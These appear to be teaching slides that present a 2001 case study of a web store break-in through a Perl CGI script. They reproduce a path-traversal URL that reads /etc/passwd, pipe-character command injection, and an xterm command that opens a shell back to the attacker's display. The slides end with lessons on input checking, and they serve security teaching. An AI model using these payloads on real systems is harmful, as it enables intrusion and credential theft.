Hacking Case Study Sungchul Hong
Acme Art, Inc. Case October 31, A hacker stole credit card numbers from the online store’s database. Firewall was installed Only port 80 and 443 were open Computer forensics teams found following;
Server Environment Apache on Linux system Perl CGI script was used
Hacker is looking around web pages and clicking images
Hacker's Move art.com/index.cgi?page=index.cgi [31/Oct/2001:03:03: ] “GET /cgi-bin/ HTTP/1.0” Hacker sees that index.cgi accepts a filename as a parameter and displays the contents of that filename. He uses index.cgi itself as a parameter to display its own source code
Vulnerability Revealed *** No parameter type checking *** Index.cgi page is revealed
Vulnerability The hacker guesses the system file name and its path. Then open it.
Error Message Reveals the programming secrete.
Hacker’s Next Move art.com/index.cgi?page=/../../../../../../../../../etc/passwd (write the passwd file into the screen)
Message The entire contents of the /etc/passwd file are returned and displayed in the browser. Rootx0:0:root/root/bin/bash bin:x:1:1:bin/bin: daemonx:2:2:daemon:/sbin:admx3:4:adm:/var/ad m: lp:x4:7:lp:/var/spool/lpd: syncx:5:0:sync:/sbin/bin/sync/shutdown:x:6:0shut down:/sbin:shutdown halt:x:7:halt:/sbin/ …
Next Move The hacker uses the pipe character in the file parameter, followed by commands of his choice. Now instead of a file being opened, Perl opens a file handle, which receives the standard output generated by the commands specified in the file name parameter
Code ls –la / *reveals files in the root directory id /* get the process id for index.cgi which xterm /*path for xterminal (use hex ‘0A’ for line feed) Now hackers can run any commands on the Web server under the security privileges of the “nobody” account.
Use xterm to gain interactive shell access to the Web server. Xterm –display :210.0& (The xterm command launches an xterm window back to the attacker’s display on :0.0)
Hacker’s View Bash$ id Uid=99(nobody) gid=99(nobody) group=99(nobody) Bash$ pwd /usr/local/apache/htdocs Bash$
Note The attacker used port 80 (http port) Use only HTTP Firewall couldn’t help it. Lesson: –All the inputs must be checked. –Do not show unnecessary information.